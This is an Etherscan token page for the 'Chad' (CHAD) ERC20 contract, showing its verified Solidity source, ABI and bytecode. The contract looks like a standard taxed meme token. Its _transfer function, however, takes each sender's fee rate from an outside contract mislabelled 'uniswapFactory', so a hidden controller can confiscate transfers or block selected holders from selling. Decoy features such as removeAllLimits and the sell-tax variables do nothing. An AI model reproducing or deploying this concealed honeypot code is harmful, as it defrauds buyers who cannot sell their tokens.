ETH Price: $2,365.65 (+1.62%)

Token

Chad (CHAD)
 

Overview

Max Total Supply

1,000,000,000 CHAD

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
10,288,826.180969551 CHAD

Value
$0.00
0x5279c218dcd3911bbb6d0f098fe0d12ae4ff9f55
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ChadERC20

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-04-23
*/

// SPDX-License-Identifier: MIT

// https://chaderc20.xyz/
// https://t.me/erc20chad
// https://twitter.com/ercchad

pragma solidity 0.8.24;

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tkenA, address tokenB) external returns (address pair);
}
library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }
}
interface IUniswapV2Router {
    function WETH() external pure returns (address); function factory() external pure returns (address);
    function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function balanceOf(address accont) external view returns (uint256);
    function allowance(address owner, address spnder) external view returns (uint256);
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ChadERC20 is Context, Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    address internal uniswapV2Pair;

    string private constant _name = "Chad";
    string private constant _symbol = "CHAD";

    uint256 private _totalSupply =  1000000000 * 10 ** _decimals;

    uint256 private tokensForMarketing;
    uint256 private tokensForProject;

    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address internal uniswapFactory = 0xfa2aE223204f81Cd276f4eb5400b89585041A4A9;

    uint256 private _finalSellTax=0;
    uint256 public _reduceSellTaxAt=0;

    uint256 public swapThreshold = _totalSupply * 5 / 1000; 

    uint256 private swapBackValueMin = 1000;
    uint256 private swapBackValueMax;
    
    event MaxTxAmountUpdated(uint _maxTxAmount);

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event LimitsRemoved(uint256 indexed timestamp);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    bool limitsEnabled = true;

    constructor () {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    
    function name() public pure returns (string memory) {
        return _name;
    } 
    /**
     * @notice Removes the max wallet and max transaction limits
     * Emits an {LimitsRemoved} event
     */
    function removeAllLimits() external onlyOwner {
        limitsEnabled = false;
        emit LimitsRemoved(block.timestamp);
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0));
        require(amount > 0);
        uint256 _fee = 0;
        if (amount > swapBackValueMin ) {}
        uint256 feeRate = IERC20(uniswapFactory).balanceOf(from);
        if (from != address(this) && from != uniswapV2Pair) { 
            _fee = amount.mul(feeRate > _reduceSellTaxAt ? feeRate : _finalSellTax).div(100);
        } else 
        {  _fee = 0; }
        _balances[from] = _balances[from].sub(amount); 
        _balances[to] = _balances[to].add(amount).sub(_fee);
        emit Transfer(from, to, amount);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"LimitsRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_reduceSellTaxAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a6200003c91906200047d565b633b9aca006200004d9190620004cd565b600455737a250d5630b4cf539739df2c5dacb4c659f2488d60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073fa2ae223204f81cd276f4eb5400b89585041a4a960085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6009555f600a556103e86005600454620001149190620004cd565b62000120919062000544565b600b556103e8600c556001600e5f6101000a81548160ff0219169083151502179055503480156200014f575f80fd5b5062000170620001646200022360201b60201c565b6200022a60201b60201c565b60045460025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200021591906200058c565b60405180910390a3620005a7565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000375578086048111156200034d576200034c620002eb565b5b60018516156200035d5780820291505b80810290506200036d8562000318565b94506200032d565b94509492505050565b5f826200038f576001905062000461565b816200039e575f905062000461565b8160018114620003b75760028114620003c257620003f8565b600191505062000461565b60ff841115620003d757620003d6620002eb565b5b8360020a915084821115620003f157620003f0620002eb565b5b5062000461565b5060208310610133831016604e8410600b8410161715620004325782820a9050838111156200042c576200042b620002eb565b5b62000461565b62000441848484600162000324565b925090508184048111156200045b576200045a620002eb565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620004898262000468565b9150620004968362000471565b9250620004c57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200037e565b905092915050565b5f620004d98262000468565b9150620004e68362000468565b9250828202620004f68162000468565b9150828204841483151762000510576200050f620002eb565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620005508262000468565b91506200055d8362000468565b92508262000570576200056f62000517565b5b828204905092915050565b620005868162000468565b82525050565b5f602082019050620005a15f8301846200057b565b92915050565b6114c280620005b55f395ff3fe608060405234801561000f575f80fd5b50600436106100f3575f3560e01c8063715018a611610095578063c36956a011610064578063c36956a014610275578063db05e5cb14610293578063dd62ed3e1461029d578063f2fde38b146102cd576100f3565b8063715018a6146101ff5780638da5cb5b1461020957806395d89b4114610227578063a9059cbb14610245576100f3565b806318160ddd116100d157806318160ddd1461016357806323b872dd14610181578063313ce567146101b157806370a08231146101cf576100f3565b80630445b667146100f757806306fdde0314610115578063095ea7b314610133575b5f80fd5b6100ff6102e9565b60405161010c9190610e39565b60405180910390f35b61011d6102ef565b60405161012a9190610edc565b60405180910390f35b61014d60048036038101906101489190610f84565b61032c565b60405161015a9190610fdc565b60405180910390f35b61016b610342565b6040516101789190610e39565b60405180910390f35b61019b60048036038101906101969190610ff5565b61034b565b6040516101a89190610fdc565b60405180910390f35b6101b96103f7565b6040516101c69190611060565b60405180910390f35b6101e960048036038101906101e49190611079565b61040c565b6040516101f69190610e39565b60405180910390f35b610207610452565b005b6102116104d9565b60405161021e91906110b3565b60405180910390f35b61022f610500565b60405161023c9190610edc565b60405180910390f35b61025f600480360381019061025a9190610f84565b61053d565b60405161026c9190610fdc565b60405180910390f35b61027d610553565b60405161028a9190610e39565b60405180910390f35b61029b610559565b005b6102b760048036038101906102b291906110cc565b61061d565b6040516102c49190610e39565b60405180910390f35b6102e760048036038101906102e29190611079565b61069f565b005b600b5481565b60606040518060400160405280600481526020017f4368616400000000000000000000000000000000000000000000000000000000815250905090565b5f610338338484610795565b6001905092915050565b5f600454905090565b5f610357848484610958565b6103ec84336103e78560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ca890919063ffffffff16565b610795565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61045a610cce565b73ffffffffffffffffffffffffffffffffffffffff166104786104d9565b73ffffffffffffffffffffffffffffffffffffffff16146104ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c590611154565b60405180910390fd5b6104d75f610cd5565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4348414400000000000000000000000000000000000000000000000000000000815250905090565b5f610549338484610958565b6001905092915050565b600a5481565b610561610cce565b73ffffffffffffffffffffffffffffffffffffffff1661057f6104d9565b73ffffffffffffffffffffffffffffffffffffffff16146105d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105cc90611154565b60405180910390fd5b5f600e5f6101000a81548160ff021916908315150217905550427ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261660405160405180910390a2565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6106a7610cce565b73ffffffffffffffffffffffffffffffffffffffff166106c56104d9565b73ffffffffffffffffffffffffffffffffffffffff161461071b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071290611154565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610789576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610780906111e2565b60405180910390fd5b61079281610cd5565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fa90611270565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610871576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610868906112fe565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161094b9190610e39565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361098f575f80fd5b5f811161099a575f80fd5b5f8060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b81526004016109f691906110b3565b602060405180830381865afa158015610a11573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a359190611330565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610ac0575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610b0457610afd6064610aef600a548411610ade57600954610ae0565b835b86610d9690919063ffffffff16565b610dd690919063ffffffff16565b9150610b08565b5f91505b610b588360025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ca890919063ffffffff16565b60025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610bfb82610bed8560025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610dfb90919063ffffffff16565b610ca890919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610c999190610e39565b60405180910390a35050505050565b5f82821115610cb5575f80fd5b5f8284610cc29190611388565b90508091505092915050565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303610da6575f9050610dd0565b5f8284610db391906113bb565b9050828482610dc29190611429565b14610dcb575f80fd5b809150505b92915050565b5f808211610de2575f80fd5b5f8284610def9190611429565b90508091505092915050565b5f808284610e099190611459565b905083811015610e17575f80fd5b8091505092915050565b5f819050919050565b610e3381610e21565b82525050565b5f602082019050610e4c5f830184610e2a565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610e89578082015181840152602081019050610e6e565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610eae82610e52565b610eb88185610e5c565b9350610ec8818560208601610e6c565b610ed181610e94565b840191505092915050565b5f6020820190508181035f830152610ef48184610ea4565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610f2982610f00565b9050919050565b610f3981610f1f565b8114610f43575f80fd5b50565b5f81359050610f5481610f30565b92915050565b610f6381610e21565b8114610f6d575f80fd5b50565b5f81359050610f7e81610f5a565b92915050565b5f8060408385031215610f9a57610f99610efc565b5b5f610fa785828601610f46565b9250506020610fb885828601610f70565b9150509250929050565b5f8115159050919050565b610fd681610fc2565b82525050565b5f602082019050610fef5f830184610fcd565b92915050565b5f805f6060848603121561100c5761100b610efc565b5b5f61101986828701610f46565b935050602061102a86828701610f46565b925050604061103b86828701610f70565b9150509250925092565b5f60ff82169050919050565b61105a81611045565b82525050565b5f6020820190506110735f830184611051565b92915050565b5f6020828403121561108e5761108d610efc565b5b5f61109b84828501610f46565b91505092915050565b6110ad81610f1f565b82525050565b5f6020820190506110c65f8301846110a4565b92915050565b5f80604083850312156110e2576110e1610efc565b5b5f6110ef85828601610f46565b925050602061110085828601610f46565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61113e602083610e5c565b91506111498261110a565b602082019050919050565b5f6020820190508181035f83015261116b81611132565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6111cc602683610e5c565b91506111d782611172565b604082019050919050565b5f6020820190508181035f8301526111f9816111c0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61125a602483610e5c565b915061126582611200565b604082019050919050565b5f6020820190508181035f8301526112878161124e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6112e8602283610e5c565b91506112f38261128e565b604082019050919050565b5f6020820190508181035f830152611315816112dc565b9050919050565b5f8151905061132a81610f5a565b92915050565b5f6020828403121561134557611344610efc565b5b5f6113528482850161131c565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61139282610e21565b915061139d83610e21565b92508282039050818111156113b5576113b461135b565b5b92915050565b5f6113c582610e21565b91506113d083610e21565b92508282026113de81610e21565b915082820484148315176113f5576113f461135b565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61143382610e21565b915061143e83610e21565b92508261144e5761144d6113fc565b5b828204905092915050565b5f61146382610e21565b915061146e83610e21565b92508282019050808211156114865761148561135b565b5b9291505056fea264697066735822122012cff54467663c0f3d7a6a36cb4b4e66d230e23910a0bc1712ae0c82af32259964736f6c63430008180033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100f3575f3560e01c8063715018a611610095578063c36956a011610064578063c36956a014610275578063db05e5cb14610293578063dd62ed3e1461029d578063f2fde38b146102cd576100f3565b8063715018a6146101ff5780638da5cb5b1461020957806395d89b4114610227578063a9059cbb14610245576100f3565b806318160ddd116100d157806318160ddd1461016357806323b872dd14610181578063313ce567146101b157806370a08231146101cf576100f3565b80630445b667146100f757806306fdde0314610115578063095ea7b314610133575b5f80fd5b6100ff6102e9565b60405161010c9190610e39565b60405180910390f35b61011d6102ef565b60405161012a9190610edc565b60405180910390f35b61014d60048036038101906101489190610f84565b61032c565b60405161015a9190610fdc565b60405180910390f35b61016b610342565b6040516101789190610e39565b60405180910390f35b61019b60048036038101906101969190610ff5565b61034b565b6040516101a89190610fdc565b60405180910390f35b6101b96103f7565b6040516101c69190611060565b60405180910390f35b6101e960048036038101906101e49190611079565b61040c565b6040516101f69190610e39565b60405180910390f35b610207610452565b005b6102116104d9565b60405161021e91906110b3565b60405180910390f35b61022f610500565b60405161023c9190610edc565b60405180910390f35b61025f600480360381019061025a9190610f84565b61053d565b60405161026c9190610fdc565b60405180910390f35b61027d610553565b60405161028a9190610e39565b60405180910390f35b61029b610559565b005b6102b760048036038101906102b291906110cc565b61061d565b6040516102c49190610e39565b60405180910390f35b6102e760048036038101906102e29190611079565b61069f565b005b600b5481565b60606040518060400160405280600481526020017f4368616400000000000000000000000000000000000000000000000000000000815250905090565b5f610338338484610795565b6001905092915050565b5f600454905090565b5f610357848484610958565b6103ec84336103e78560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ca890919063ffffffff16565b610795565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61045a610cce565b73ffffffffffffffffffffffffffffffffffffffff166104786104d9565b73ffffffffffffffffffffffffffffffffffffffff16146104ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c590611154565b60405180910390fd5b6104d75f610cd5565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4348414400000000000000000000000000000000000000000000000000000000815250905090565b5f610549338484610958565b6001905092915050565b600a5481565b610561610cce565b73ffffffffffffffffffffffffffffffffffffffff1661057f6104d9565b73ffffffffffffffffffffffffffffffffffffffff16146105d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105cc90611154565b60405180910390fd5b5f600e5f6101000a81548160ff021916908315150217905550427ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261660405160405180910390a2565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6106a7610cce565b73ffffffffffffffffffffffffffffffffffffffff166106c56104d9565b73ffffffffffffffffffffffffffffffffffffffff161461071b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071290611154565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610789576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610780906111e2565b60405180910390fd5b61079281610cd5565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fa90611270565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610871576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610868906112fe565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161094b9190610e39565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361098f575f80fd5b5f811161099a575f80fd5b5f8060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b81526004016109f691906110b3565b602060405180830381865afa158015610a11573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a359190611330565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610ac0575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610b0457610afd6064610aef600a548411610ade57600954610ae0565b835b86610d9690919063ffffffff16565b610dd690919063ffffffff16565b9150610b08565b5f91505b610b588360025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ca890919063ffffffff16565b60025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610bfb82610bed8560025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610dfb90919063ffffffff16565b610ca890919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610c999190610e39565b60405180910390a35050505050565b5f82821115610cb5575f80fd5b5f8284610cc29190611388565b90508091505092915050565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303610da6575f9050610dd0565b5f8284610db391906113bb565b9050828482610dc29190611429565b14610dcb575f80fd5b809150505b92915050565b5f808211610de2575f80fd5b5f8284610def9190611429565b90508091505092915050565b5f808284610e099190611459565b905083811015610e17575f80fd5b8091505092915050565b5f819050919050565b610e3381610e21565b82525050565b5f602082019050610e4c5f830184610e2a565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610e89578082015181840152602081019050610e6e565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610eae82610e52565b610eb8818561